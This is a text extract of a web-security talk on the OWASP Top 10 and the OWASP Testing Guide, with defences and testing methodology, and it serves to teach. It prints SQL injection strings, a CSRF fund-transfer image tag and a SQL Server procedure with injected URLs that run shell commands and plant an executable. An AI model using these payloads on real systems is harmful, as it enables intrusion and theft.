Attacking Web Applications
Presented by Kristian Erik Hermansen [email protected] / [email protected]
What’s Changed?
Mapping from 2007 to 2010 Top 10
+
+
--
=
=
OWASP Top 10 Risk Rating Methodology
ThreatAgent
AttackVector
Weakness Prevalence
Weakness Detectability
Technical Impact
Business Impact
? Easy Widespread Easy Severe ?Average Common Average Moderate
Difficult Uncommon Difficult Minor
2 1 1 2
1.3 * 2
2.6 weighted risk rating
XSS Example
123
The ‘new’ OWASP Top Ten (2010 rc1)
http://www.owasp.org/index.php/Top_10
A1 – Injection
SQL Injection – Illustrated
Firewall
Hardened OS
Web Server
App Server
Firewall
Databases
Legacy System
s
Web Services
Directories
Hum
an Resrcs
Billing
Custom Code
APPLICATIONATTACK
Netw
ork L
ayerA
pplication L
ayer
Accounts
Finance
Adm
inistration
Transactions
Com
munication
Know
ledge Mgm
t
E-C
omm
erce
Bus. Functions
HTTP
requestSQL
query
DB Table
HTTP response
"SELECT * FROM accounts WHERE acct=‘’ OR 1=1--’"
1. Application presents a form to the attacker
2. Attacker sends an attack in the form data
3. Application forwards attack to the database in a SQL query
Account Summary
Acct:5424-6066-2134-4334Acct:4128-7574-3921-0192Acct:5424-9383-2039-4029Acct:4128-0004-1234-0293
4. Database runs query containing attack and sends encrypted results back to application
5. Application decrypts data as normal and sends results to the user
Account:
SKU:
Account:
SKU:
A1 – Avoid Injection Flaws
Recommendations1. Avoid the interpreter entirely, or2. Use an interface that supports bind variables (e.g.,
prepared statements, or stored procedures), Bind variables allow the interpreter to distinguish between
code and data
3. Encode all user input before passing it to the interpreter Always perform ‘white list’ input validation on all user
supplied input Always minimize database privileges to reduce the
impact of a flaw
References For more details, read the new
http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
A2 – Cross-Site Scripting (XSS)
Cross-Site Scripting Illustrated
Application with stored XSS vulnerability
3
2
Attacker sets the trap – update my profile
Attacker enters a malicious script into a web page that stores the data on the server
1
Victim views page – sees attacker profile
Script silently sends attacker Victim’s session cookie
Script runs inside victim’s browser with full access to the DOM and cookies
Custom Code
Accounts
Finance
Adm
inistration
Transactions
Com
munication
Know
ledge Mgm
t
E-C
omm
erce
Bus. Functions
(AntiSamy)
A2 – Avoiding XSS Flaws
Recommendations Eliminate Flaw
Don’t include user supplied input in the output page
Defend Against the Flaw Primary Recommendation: Output encode all user
supplied input
(Use OWASP’s ESAPI to output encode:http://www.owasp.org/index.php/ESAPI Perform ‘white list’ input validation on all user input to
be included in page For large chunks of user supplied HTML, use OWASP’s
AntiSamy to sanitize this HTML to make it safe
See: http://www.owasp.org/index.php/AntiSamy
References For how to output encode properly, read the
new http://www.owasp.org/index.php/XSS_(Cross Site Scripting) Prevention Cheat Sheet
Safe Escaping Schemes in Various HTML Execution Contexts
HTML Style Property Values
(e.g., .pdiv a:hover {color: red; text-decoration: underline} )
JavaScript Data(e.g., <script> some javascript </script> )
HTML Attribute Values(e.g., <input name='person' type='TEXT'
value='defaultValue'> )
HTML Element Content(e.g., <div> some text to display </div> )
URI Attribute Values(e.g., <a href="javascript:toggle('lesson')" )
#4: All non-alphanumeric < 256 \HH
ESAPI: encodeForCSS()
#3: All non-alphanumeric < 256 \xHH
ESAPI: encodeForJavaScript()
#1: ( &, <, >, " ) &entity; ( ', / ) &#xHH;
ESAPI: encodeForHTML()
#2: All non-alphanumeric < 256 &#xHH
ESAPI: encodeForHTMLAttribute()
#5: All non-alphanumeric < 256 %HH
ESAPI: encodeForURL()
ALL other contexts CANNOT include Untrusted DataRecommendation: Only allow #1 and #2 and disallow all othersSee: www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet for more details
A3 – Broken Authentication and Session Management
Broken Authentication Illustrated
Custom Code
Accounts
Finance
Adm
inistration
Transactions
Com
munication
Know
ledge Mgm
t
E-C
omm
erce
Bus. F
unctions
1 User sends credentials
2Site uses URL rewriting
(i.e., put session in URL)
3 User clicks on a link to http://www.hacker.com in a forum
www.boi.com?JSESSIONID=9FA1DB9EA...
4
Hacker checks referer logs on www.hacker.com
and finds user’s JSESSIONID
5 Hacker uses JSESSIONID and takes over victim’s account
A3 – Avoiding Broken Authentication and Session Management
Verify your architecture Authentication should be simple, centralized, and
standardized Use the standard session id provided by your container Be sure SSL protects both credentials and session id at
all times
Verify the implementation Forget automated analysis approaches Check your SSL certificate Examine all the authentication-related functions Verify that logoff actually destroys the session Use OWASP’s WebScarab to test the implementation
A4 – Insecure Direct Object References
Insecure Direct Object References Illustrated
Attacker notices his acct parameter is 6065
?acct=6065
He modifies it to a nearby number
?acct=6066
Attacker views the victim’s account information
https://www.onlinebank.com/user?acct=6065
A4 – Avoiding Insecure Direct Object References
Eliminate the direct object reference Replace them with a temporary mapping value (e.g. 1, 2, 3) ESAPI provides support for numeric & random mappings
IntegerAccessReferenceMap & RandomAccessReferenceMap
Validate the direct object reference Verify the parameter value is properly formatted Verify the user is allowed to access the target object
Query constraints work great! Verify the requested mode of access is allowed to the
target object (e.g., read, write, delete)
http://app?file=1Report123.xls
http://app?id=7d3J93Acct:9182374http://app?id=9182374
http://app?file=Report123.xls
A5 – Cross Site Request Forgery (CSRF)
CSRF Vulnerability Pattern
The Problem Web browsers automatically include most credentials with
each request Even for requests caused by a form, script, or image on
another site
All sites relying solely on automatic credentials are vulnerable! (almost all sites are this way)
Automatically Provided Credentials Session cookie Basic authentication header IP address Client side SSL certificates Windows domain authentication
CSRF Illustrated
3
2
Attacker sets the trap on some website on the internet(or simply via an e-mail)1
While logged into vulnerable site,victim views attacker site
Vulnerable site sees legitimate request from victim and performs the action requested
<img> tag loaded by browser – sends GET request (including credentials) to vulnerable site
Custom Code
Accounts
Finance
Adm
inistration
Transactions
Com
munication
Know
ledge Mgm
t
E-C
omm
erce
Bus. F
unctions
Hidden <img> tag contains attack against vulnerable site
Application with CSRF vulnerability
A5 – Avoiding CSRF Flaws
Add a secret, not automatically submitted, token to ALL sensitive requests This makes it impossible for the attacker to spoof the request
(unless there’s an XSS hole in your application) Tokens should be cryptographically strong or random
Options Store a single token in the session and add it to all forms and links
Hidden Field: <input name="token" value="687965fdfaew87agrde" type="hidden"/>
Single use URL: /accounts/687965fdfaew87agrde Form Token: /accounts?auth=687965fdfaew87agrde …
Beware exposing the token in a referer header Hidden fields are recommended
Can have a unique token for each function Use a hash of function name, session id, and a secret
Can require secondary authentication for sensitive functions (e.g., eTrade)
Don’t allow attackers to store attacks on your site Properly encode all input on the way out This renders all links/requests inert in most interpreters
See the new: www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet for more details
A6 – Security Misconfiguration
Hardened OS
Web Server
App Server
Framework
Security Misconfiguration Illustrated
App Configuration
Custom Code
Accounts
Finance
Adm
inistration
Transactions
Com
munication
Know
ledge Mgm
t
E-C
omm
erce
Bus. Functions
Test Servers
QA Servers
Source Control
Development
Database
Insider
A6 – Avoiding Security Misconfiguration
Verify your system’s configuration management Secure configuration “hardening” guideline
Automation is REALLY USEFUL here Must cover entire platform and application Keep up with patches for ALL components
This includes software libraries, not just OS and Server applications Analyze security effects of changes
Can you “dump” the application configuration Build reporting into your process If you can’t verify it, it isn’t secure
Verify the implementation Scanning finds generic configuration and missing patch
problems
A7 – Failure to Restrict URL Access
Failure to Restrict URL Access Illustrated
Attacker notices the URL indicates his role
/user/getAccounts
He modifies it to another directory (role)
/admin/getAccounts, or
/manager/getAccounts
Attacker views more accounts than just their own
https://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts
A7 – Avoiding URL Access Control Flaws
For each URL, a site needs to do 3 things Restrict access to authenticated users (if not public) Enforce any user or role based permissions (if private) Completely disallow requests to unauthorized page types (e.g., config
files, log files, source files, etc.)
Verify your architecture Use a simple, positive model at every layer Be sure you actually have a mechanism at every layer
Verify the implementation Forget automated analysis approaches Verify that each URL in your application is protected by either
An external filter, like Java EE web.xml or a commercial product Or internal checks in YOUR code – Use ESAPI’s isAuthorizedForURL() method
Verify the server configuration disallows requests to unauthorized file types
Use WebScarab or your browser to forge unauthorized requests
A8 – Unvalidated Redirects and Forwards
Unvalidated Redirect Illustrated
3
2
Attacker sends attack to victim via email or webpage
From: Internal Revenue ServiceSubject: Your Unclaimed Tax RefundOur records show you have an unclaimed federal tax refund. Please click here to initiate your claim.
1
Application redirects victim to attacker’s site
Request sent to vulnerable site, including attacker’s destination site as parameter. Redirect sends victim to attacker site
Custom Code
Accou
nts
Fin
ance
Ad
min
istration
Tran
sactions
Com
mu
nication
Kn
owled
ge Mgm
t
E-C
omm
erce
Bus. F
unction
s
4 Evil site installs malware on victim, or phish’s for private information
Victim clicks link containing unvalidated parameter
Evil Site
http://www.irs.gov/taxrefund/claim.jsp?year=2006& … &dest=www.evilsite.com
Unvalidated Forward Illustrated
2
Attacker sends attack to vulnerable page they have access to1
Application authorizes request, which continues to vulnerable page
Request sent to vulnerable page which user does have access to. Redirect sends user directly to private page, bypassing access control.
3 Forwarding page fails to validate parameter, sending attacker to unauthorized page, bypassing access controlpublic void doPost( HttpServletRequest request,
HttpServletResponse response) {try {
String target = request.getParameter( "dest" ) );...request.getRequestDispatcher( target ).forward(request,
response);}catch ( ...
Filter
public void sensitiveMethod( HttpServletRequest request, HttpServletResponse response) {
try {// Do sensitive stuff here....
}catch ( ...
A8 – Avoiding Unvalidated Redirects and Forwards There are a number of options
1. Avoid using redirects and forwards as much as you can2. If used, don’t involve user parameters in defining the target URL3. If you ‘must’ involve user parameters, then either
a) Validate each parameter to ensure its valid and authorized for the current user, or
b) (preferred) – Use server side mapping to translate choice provided to user with actual target page
Defense in depth: For redirects, validate the target URL after it is calculated to make sure it goes to an authorized external site
ESAPI can do this for you!! See: SecurityWrapperResponse.sendRedirect( URL ) http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/filters/
SecurityWrapperResponse.html#sendRedirect(java.lang.String)
Some thoughts about protecting Forwards Ideally, you’d call the access controller to make sure the user is
authorized before you perform the forward (with ESAPI, this is easy) With an external filter, like Siteminder, this is not very practical Next best is to make sure that users who can access the original page
are ALL authorized to access the target page.
A9 – Insecure Cryptographic Storage
Insecure Cryptographic Storage Illustrated
Custom Code
Accounts
Finance
Adm
inistration
Transactions
Com
munication
Know
ledge Mgm
t
E-C
omm
erce
Bus. F
unctions
1Victim enters credit card number in form
2Error handler logs CC details because merchant
gateway is unavailable
4 Malicious insider steals 4 million credit card numbers
Log files
3Logs are accessible to all members of IT staff for
debugging purposes
A9 – Avoiding Insecure Cryptographic Storage
Verify your architecture Identify all sensitive data Identify all the places that data is stored Ensure threat model accounts for possible attacks Use encryption to counter the threats, don’t just ‘encrypt’ the data
Protect with appropriate mechanisms File encryption, database encryption, data element encryption
Use the mechanisms correctly Use standard strong algorithms Generate, distribute, and protect keys properly Be prepared for key change
Verify the implementation A standard strong algorithm is used, and it’s the proper algorithm for this
situation All keys, certificates, and passwords are properly stored and protected Safe key distribution and an effective plan for key change are in place Analyze encryption code for common flaws
A10 – Insufficient Transport Layer Protection
Insufficient Transport Layer Protection Illustrated
Custom Code
Employees
Business PartnersExternal Victim
Backend Systems
External Attacker
1
External attacker steals credentials and data off network
2
Internal attacker steals credentials and data from internal network
Internal Attacker
A10 – Avoiding Insufficient Transport Layer Protection Protect with appropriate mechanisms
Use TLS on all connections with sensitive data Individually encrypt messages before transmission
E.g., XML-Encryption Sign messages before transmission
E.g., XML-Signature
Use the mechanisms correctly Use standard strong algorithms (disable old SSL
algorithms) Manage keys/certificates properly Verify SSL certificates before using them Use proven mechanisms when sufficient
E.g., SSL vs. XML-Encryption See:
http://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet for more details
Summary: How do you address these problems? Develop Secure Code
Follow the best practices in OWASP’s Guide to Building Secure Web Applications
http://www.owasp.org/index.php/Guide Use OWASP’s Application Security Verification Standard as a
guide to what an application needs to be secure http://www.owasp.org/index.php/ASVS
Use standard security components that are a fit for your organization
Use OWASP’s ESAPI as a basis for your standard components http://www.owasp.org/index.php/ESAPI
Review Your Applications Have an expert team review your applications Review your applications yourselves following OWASP
Guidelines OWASP Code Review Guide:
http://www.owasp.org/index.php/Code_Review_Guide OWASP Testing Guide:
http://www.owasp.org/index.php/Testing_Guide
OWASP (ESAPI)
ESAPI Homepage: http://www.owasp.org/index.php/ESAPI
TrainingCLASP
Testing Guide Project incubator
Wiki portal
Forums
Blogs
Top 10
Conferences
WebScarab
WebGoatAjax
Orizon
.NET, Java
Yours!
Validation
Chapters
Building our brand
Certification
BuildingGuide
What Is the OWASP Testing Guide?
Free and open…
What Is the OWASP Testing Guide?
A puzzle piece…
Vulnerability Vulnerability
Vulnerabilities
AttackAttack
Attacks
Threat Agents
Business Impacts
BusinessImpact
BusinessImpact
System Impacts
AssetAsset
TestingGuide
Code ReviewGuide
BuildingGuide
Honeycomb
Tools
Countermeasures
CountermeasureCountermeasure
OWASP Testing Guide v2: Goals
Review all the documentation on testing: July 14, 2004
"OWASP Web Application Penetration Checklist", Version 1.1
December 2004 "The OWASP Testing Guide", Version 1.0
Create a complete new project focused on Web Application Penetration Testing
Create a reference for application testingDescribe the OWASP methodology
Oct 2006: Collect all old docs Brainstorming for the Index and template Involve major world experts on this field:
* David Endler * Giorgio Fedon * Javier Fernández-Sanguino * Glyn Geoghegan * Stan Guzik * Madhura Halasgikar * Eoin Keary * David Litchfield * Andrea Lombardini * Ralph M. Los * Claudio Merloni
* Matteo Meucci * Marco Morana * Laura Nunez * Gunter Ollmann * Antonio Parata * Yiannis Pavlosoglou * Carlo Pelliccioni * Harinath Pudipeddi * Alberto Revelli * Mark Roxberry * Tom Ryan
* Anush Shetty * Larry Shields * Dafydd Studdard * Andrew van der Stock * Ariel Waissbein * Jeff Williams
* Vicente Aguilera * Mauro Bregolin * Tom Brennan * Gary Burns * Luca Carettoni * Dan Cornell * Mark Curphey * Daniel Cuthbert * Sebastien Deleersnyder * Stephen DeVries * Stefano Di Paola
OWASP Testing Guide v2: Action Plan OWASP Testing Guide v2: Action Plan
Nov 2006: Write articles using our Wiki model
Review articles
Dec 2006: Review all the Guide
Write the Guide in doc format
Jan 2007: OWASP Testing Guide Release Candidate 1: 272 pages, 46
tests
Feedback and review
Feb 2007:
OWASP Testing Guide v2 officially released
OWASP Testing Guide v2: Action Plan (2)OWASP Testing Guide v2: Action Plan (2)
Testing Guide v2: Index
1. Frontispiece1. Frontispiece
2. Introduction2. Introduction
3. The OWASP Testing Framework 3. The OWASP Testing Framework
4. Web Application Penetration Testing 4. Web Application Penetration Testing
5. Writing Reports: value the real risk 5. Writing Reports: value the real risk
Appendix A: Testing ToolsAppendix A: Testing Tools
Appendix B: Suggested ReadingAppendix B: Suggested Reading
Appendix C: Fuzz Vectors Appendix C: Fuzz Vectors
The problem of insecure software: companies next challenge
Why OWASP? “It's impossible to underestimate the importance of having this guide
available in a completely free and open way”– Jeff Williams (OWASP Chair)
Principles of Testing: comparing the state of something against a set of criteria defined and complete. We want security testing not be a black art
Testing Techniques: Manual Inspections & Reviews
Threat Modeling
Code Review
Penetration Testing
The OWASP Testing Framework
The OWASP Testing Framework
Phase 1: Before Development Begins
Before application development has started:
Test to ensure that there is an
adequate SDLC where security is inherent.
Test to ensure that the appropriate policy and standards are in place for the development team.
Develop Measurement and Metrics Criteria (Ensure Traceability)
The OWASP Testing Framework
Phase 2: During Definition and Design
Before application development has started:
Security Requirements Review: User Management (password reset etc.),
Authentication, Authorization, Data Confidentiality, Integrity, Accountability, Session Management,Transport Security, Privacy
Design an Architecture Review
Create and Review UML Models
How the application works
Create and Review Threat Models
Develop realistic threat scenarios
The OWASP Testing Framework
Phase 3: During Development
Code Walkthroughs:
high-level walkthrough of the code where the developers can explain the logic and flow.
Code Reviews:
Static code reviews validate the code against a set of checklists:
CIA Triad
OWASP Top10, OWASP Code Review
Sox, ISO 17799, etc…
The OWASP Testing Framework
Phase 4: During Deployment
Application Penetration Testing
Focus of this guide
Configuration Management Testing
The application penetration test should include the checking of how the infrastructure was deployed and secured.
Phase 5: Maintenance and OperationsConduct operational management reviewsConduct periodic health checks Ensure change verification
Web Application Penetration Testing
What is a Web Application Penetration Testing? The process involves an active analysis of the application for
any weaknesses, technical flaws or vulnerabilities
What is a vulnerability? A weakness on a asset that makes a threat possible
Our approach in writing this guide Open Collaborative
Defined testing methodology Consistent Repeatable Under quality
Testing paragraph template
Brief Summary Describe in "natural language" what we want to test. The target of
this section is non-technical people (e.g.: client executive)
Description of the Issue Short Description of the Issue: Topic and Explanation
Black Box testing and example How to test for vulnerabilities: Result Expected:
...Gray Box testing and example
How to test for vulnerabilities: Result Expected:
...References
WhitepapersTools
Black Box vs. Gray Box
The penetration tester does not have any information about the structure of the application, its components and internals
Black Box
The penetration tester has partial information about the application internals. E.g.: platform vendor, sessionID generation algorithm
Gray Box
White box testing, defined as complete knowledge of the application internals, is beyond the scope of the Testing Guide and is covered by the OWASP Code Review Project
We have split the set of tests in 8 sub-categories (for a total amount of 48 controls): Information Gathering
Business logic testing
Authentication Testing
Session Management Testing
Data Validation Testing
Denial of Service Testing
Web Services Testing
AJAX Testing
Testing Model
In the next slides we will look at a few examples of tests/attacks and at some real-world cases ....
Information Gathering
The first phase in security assessment is of course focused on collecting all the information about a target application.
Using public tools it is possible to force the application to leak information by sending messages that reveal the versions and technologies used by the application
Available techniques include: Raw HTTP Connections (netcat) The good ol' tools: nmap, amap, ... Web Spiders Search engines (“Google Dorking”) SSL fingerprinting File extensions handling Backups and unreferenced files
$ nc 216.48.3.18 80HEAD / HTTP/1.0HTTP/1.1 200 OKDate: Mon, 16 Jun 2003 02:53:29 GMTServer: Apache/1.3.3 (Unix) (Red Hat/Linux)Last-Modified: Wed, 07 Oct 1998 11:18:14 GMTETag: "1813-49b-361b4df6"Accept-Ranges: bytesContent-Length: 1179Connection: closeContent-Type: text/html
Information Gathering (cont.)
Application Fingerprint Knowing the version and type of a running web server allows testers to determine known vulnerabilities and the appropriate exploits to use along the tests. Netcat is the tool of choice for this very well known technique
...But what if the “Server:” header is obfuscated ?
HTTP/1.1 400 Bad Request Date: Sun, 15 Jun 2003 17:12: 37 GMT Server: obfuscated :P Connection: close Transfer: chunked Content-Type: text/HTML; charset=iso-8859-1
HTTP/1.1 200 OK Server: obfuscated :PContent-Location: http://target.com/Default.htm Date: Fri, 01 Jan 1999 20:14: 02 GMT Content-Type: text/HTML Accept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT ETag: W/e0d362a4c335be1: ae1 Content-Length: 133
HTTP/1.1 505 HTTP Version Not Supported Server: obfuscated :PDate: Mon, 16 Jun 2003 06:04: 04 GMT Content-length: 140 Content-type: text/HTML Connection: close
Other hints can be found by sending the server a malformed request, for instance a “GET / HTTP/3.0”
Apache 1.3.23
Netscape Enterprise 4.1
IIS 5.0
...But what if the application simply returns a generic error page ?
Information Gathering (cont.)
Information Gathering (cont.)
Apache 1.3.23 IIS 5.0 Netscape Enterprise 4.1 SunONE 6.1Date Server Server ServerServer Content-Location Date DateLast-Modified Date Content-Type Content-LengthETag Content-Type Last-Modified Content-TypeAccept-Ranges Accept-Ranges Content-Length Last-ModifiedContent-Length Last-Modified Accept-RangesConnection: ETag ConnectionContent-Type Content-Length
The good news is that each server has a favorite way to order headers !Here are the results for some common web servers when responding to a “HEAD / HTTP/1.0” command:
Rules that express the business policy (such as channels, location, logistics, prices, and products)
Workflows that are the ordered tasks of passing documents or data from one participant (a person or a software system) to another
One of the most common results in this step of the analysis are flaws in the order of actions that a user has to follow: an attacker could perform them in a different order to get some sort of advantage
This step is the most difficult to perform with automated tools, as it requires the penetration tester to perfectly understand the business
logic that is (or should be) implemented by the application
Business logic testing
In this phase, we look for flaws in the application business logic rather than in the technical implementation. Areas of testing include:
Business logic testing: example
New customers, when buying a SIM card, can open a free, permanent webmail account with the flawedphone.com domain
The webmail account is preserved even if the customer “transfers” the SIM card to another telecom operator
However, as long as the SIM card is registered to FlawedPhone, each time an email is received an SMS message is sent to the customer
The SMS application checks that the target phone number is a legitimate customer from its own copy of the FlawedPhone customers list
Nice, but what about the list synchronization ?!
FlawedPhone, a mobile phone operator, has launched a webmail+SMS service:
Business logic testing
FlawedPhone was soon targeted by a fraud attack
The attacker bought a new FlawedPhone SIM card The attacker immediately requested to transfer the SIM card to another
mobile carrier, which credits 0.05 € for each received SMS message When the SIM card was “transferred” to the new provider, the attacker then
started sending thousands of emails to her FlawedPhone email account The attacker had a 6-8 hours window before the email+SMS application had
its list updated and stopped delivering messages By that time, the attacker had ~50-100 € in the card, and proceeded to sell
it on eBay
All FlawedPhone systems worked as expected, and there were no bugs in the application code. Still, the logic was flawed.
Business logic testing: example
Deal 2 cards
Blackjack @ paradisepocker.com ...sometime in 2005
upcard == Ace ?
hole == ten ?
yes
t1 t2
t1 != t2
The difference between t1 and t2 was enough to give the player an
edge over the house
Offer Insurance
yesno
Authentication testing
Testing the authentication scheme means understanding how the application checks for users' identity and using that information to circumvent that mechanism and access the application without having the proper credentials
Tests include the following areas:• Default or Guessable Accounts• Brute-force• Bypassing Authentication• Directory Traversal / File Include• Vulnerable “Remember Password” and Password Reset• Logout and Browser Cache Management
Session management testing
Session management is a critical part of a security test, as every application has to deal with the fact that HTTP is by its nature a stateless protocol. Session Management broadly covers all controls on a user from authentication to leaving the application
Tests include the following areas: Analysis of the session management scheme Cookie and session token manipulation Exposed session variables Cross Site Request Forgery HTTP Exploiting
Test if it is possible to force a user to submit an undesirable command to the application he/she is currently logged into
Also known as “Session Riding” A quite old type of attack, whose impact has always been
underestimated It relies on the fact that browsers automatically send information
used to identify a specific session Applications that allow a user to perform some action without
requiring some unpredictable parameter are likely to be vulnerable ...That means a lot of applications! All it takes is to trigger the victim to follow a link (e.g.: by visiting an
attacker-controlled site) while he/she is logged into the application
Example: Cross Site Request Forgery
<html><title>I am a very evil HTML page... visit me ! :)</title><body>..<img src=”https://trade.com/transfer?eu=90000&to=1234” width=”0” height=”0”>...</body></html>
trade.com is an online trading company trade.com uses an “über-paranoid triple-factor”™ authentication scheme,
but does not want to bother users with confirmations, since traders need to act fast!
A simple website and some social engineering will do the job
The image is not visible
The link triggers a fund
transfer
Example: Cross Site Request Forgery (cont.)
Data validation testing
In this phase we test that all input is properly sanitized before being processed by the application, in order to avoid several classes of attacks
Cross site scriptingTest that the application filters JavaScript code that might be executed by the victim in order to steal his/her cookier
HTTP Methods and XST
Test that the remote web server does not allow the TRACE HTTP method
SQL InjectionTest that the application properly filters SQL code embedded in the user input
Other attacks based of faulty input validation... LDAP/XML/SMTP/OS injection Buffer overflows
Select * from OPENROWSET ('SQLOLEDB','';'sa';'<pwd>', 'waitfor delay ''0:0:5'';select 1')
Data validation testing:Sql injection against SQL Server 2000
CREATE PROCEDURE our_cmdshell(@cmd varchar(255), @Wait int = 1) AS DECLARE @result int, @OLEResult int, @RunResult int, @ShellID int EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = sp_OADestroy @ShellID return @result
Original code by Antonin Foller
☑ The remote user has not administrative privileges ?
☑ The xp_cmdshell procedure has been disabled ?
Data validation testing:Sql injection against SQL Server 2000
We want to upload executables but the firewall is really paranoid ?
http://www.victim.com/login.asp?code=0;exec+master..our_cmdshell+'echo+n+prog.txt+>+prog.scr';
....
http://www.victim.com/login.asp?code=0;exec+master..our_cmdshell+'debug+<+prog.scr';
http://www.victim.com/checkid.asp?code=0;exec+master..our_cmdshell+'ren+prog.txt+prog.exe';
n prog.txtr cx6e00f 0100 ffff 00e 100 4d 5a 90<snip>
1) Convert the executable in a debug.exe script
2) Upload the script and call debug.exe on it. Now we have uploaded an executable using only normal http request :)
Denial of Service Testing
Locking Customer AccountsUser Specified Object AllocationUser Input as a Loop CounterWriting User Provided Data to DiskFailure to Release ResourcesStoring too Much Data in Session
Usually not performed in performed on production environments
DoS are types of vulnerabilities within applications that can allow a malicious user to make certain functionality or sometimes the entire website unavailable. These problems are caused by bugs in the application, often resulting from malicious or unexpected user input
The vulnerabilities are similar to other “classical” vulnerabilities such as SQL injection, information disclosure and leakage etc but web services also have unique XML/parser related vulnerabilities.
WebScarab (available for free at www.owasp.org) provides a plug-in specifically targeted to Web Services. It can be used to craft SOAP messages that contains malicious elements in order to test how the remote system validates input
Web Services Testing
Web Services Testing
<?xml version="1.0" encoding="ISO-8859-1"?><note id="666"><to>OWASP<from>EOIN</from><heading>I am Malformed </to></heading><body>Example of XML Structural Test</body></note>
XML Structural Testing In this example, we see a snippet of XML code that violates the
hierarchical structure of this language. A Web Service must be able to handle this kind of exceptions in a secure way
<Envelope><Header> <wsse:Security> <Hehehe>I am a Large String (1MB)</Hehehe> <Hehehe>I am a Large String (1MB)</Hehehe> <Hehehe>I am a Large String (1MB)</Hehehe>… <Signature>…</Signature> </wsse:Security> </Header> <Body> <BuyCopy><ISBN>0098666891726</ISBN></BuyCopy> </Body></Envelope>
Web Services Testing (cont.)
XML Large payload Another possible attack consists in sending to a Web Service a
very large payload in an XML message. Such a message might deplete the resource of a DOM parser
Naughty SOAP attachmentsBinary files, including executables and document types that can contain malware, can be posted using a web service in several ways
POST /Service/Service.asmx HTTP/1.1Host: somehostContent-Type: text/xml; charset=utf-8Content-Length: lengthSOAPAction: http://somehost/service/UploadFile<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><UploadFile xmlns="http://somehost/service"><filename>eicar.pdf</filename><type>pdf</type><chunk>X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*</chunk><first>true</first></UploadFile></soap:Body></soap:Envelope>
Web Services Testing Web Services Testing (cont.)(cont.)
AJAX Testing
AJAX (Asynchronous JavaScript and XML) is a web development technique used to create more interactive web applications.
XMLHttpRequest object and JavaScript to make asynchronous requests for all communication with the server-side application.
Main security issues: AJAX applications have a greater
attack surface because a big share of the application logic is moved on the client side
AJAX programmers seldom keep an eye on what is executed by the client and what is executed by the server
Exposed internal functions of the application
Client access to third-party resources with no built-in security and encoding mechanisms
Failure to protect authentication information and sessions
AJAX Bridging
While in traditional web applications it is very easy to enumerate the points of interaction between clients and servers, when testing AJAX pages things get a little bit more complicated, as server-side AJAX endpoints are not as easy or consistent to discover
To enumerate endpoints, two approaches must be combined: Look through HTML and Javascript (e.g: look for XmlHttpRequest
objects) Use a proxy to monitor traffic Tools: OWASP Sprajax or Firebug add-on for Firefox
Then you can test it as described before (SQL Inj, etc..) ...and don't forget AJAX potential in prototype hijacking and
resident XSS !
AJAX Testing
AJAX Testing (cont.)
With firebug it is possible to efficiently
inspect AJAX apps
Testing Report: model
The OWASP Risk Rating Methodology Estimate the severity of all of these risks to your business This is not universal risk rating system: vulnerability that is critical to
one organization may not be very important to another
Simple approach to be tailored for every case standard risk model: Risk = Likelihood * Impact
Step 1: identifying a riskYou'll need to gather information about: the vulnerability involved the threat agent involved the attack they're using the impact of a successful exploit on your business.
Testing Report: likelihoodStep 2: factors for estimating likelihood
Generally, identifying whether the likelihood is low, medium, or high is sufficient.
Threat Agent Factors: Skill level (0-9) Motive (0-9) Opportunity (0-9) Size (0-9)
Vulnerability Factors: Ease of discovery (0-9) Ease of exploit (0-9) Awareness (0-9) Intrusion detection (0-9)
Testing Report: impact
Step 3: factors for estimating impact
Technical impact: Loss of confidentiality (0-9) Loss of integrity (0-9) Loss of availability (0-9) Loss of accountability (0-9)
Business impact: Financial damage (0-9) Reputation damage (0-9) Non-compliance (0-9) Privacy violation (0-9)
Testing Report: value the risk Step 4: determining the severity of the risk
In the example above, the likelihood is MEDIUM, and the technical impact is HIGH, so from technical the overall severity is HIGH. But business impact is actually LOW, so the overall severity is best described as LOW as well.
Testing Report: decide what to fix
Step 5: Deciding What To FixAs a general rule, you should fix the most severe risks first.Some fix seems to be not justifiable based upon the cost of fixing the issue but may be reputation damage from the fraud that could cost the organization much more than implement a security control
Step 6: Customizing Your Risk Rating Model Adding factors Customizing options Weighting factors
Writing Report
I. Executive Summary II. Technical Management Overview III Assessment Findings IV Toolbox
How the Guide will help the security industry
A structured approach to the testing activities A checklist to be followed A learning and training tool
Pen-testers
A tool to understand web vulnerabilities and their impact
A way to check the quality of the penetration tests they buy
Clients
More in general, the Guide aims to provide a pen-testing standard that creates a 'common ground' between the pen-testing industry and
its client.
This will raise the overall quality and understanding of this kind of activity and therefore the general level of security in our
infrastructures
What’s next
You should adopt this guide in your organizationContinuously reprioritize OWASP Testing Guide next steps:
Continuously improve the Testing Guide: it’s a live document!
Contribute to the new version Improve the client side testing
What is SQL?
SQL stands for Structured Query Language Allows us to access a database ANSI and ISO standard computer language
The most current standard is SQL99
SQL can: execute queries against a database retrieve data from a database insert new records in a database delete records from a database update records in a database
SQL is a Standard - but...
There are many different versions of the SQL language
They support the same major keywords in a similar manner (such as SELECT, UPDATE, DELETE, INSERT, WHERE, and others).
Most of the SQL database programs also have their own proprietary extensions in addition to the SQL standard!
SQL Database Tables
A relational database contains one or more tables identified each by a name
Tables contain records (rows) with data For example, the following table is called "users"
and contains data distributed in rows and columns:
userID Name LastName Login Password
1 John Smith jsmith hello
2 Adam Taylor adamt qwerty
3 Daniel Thompson dthompson dthompson
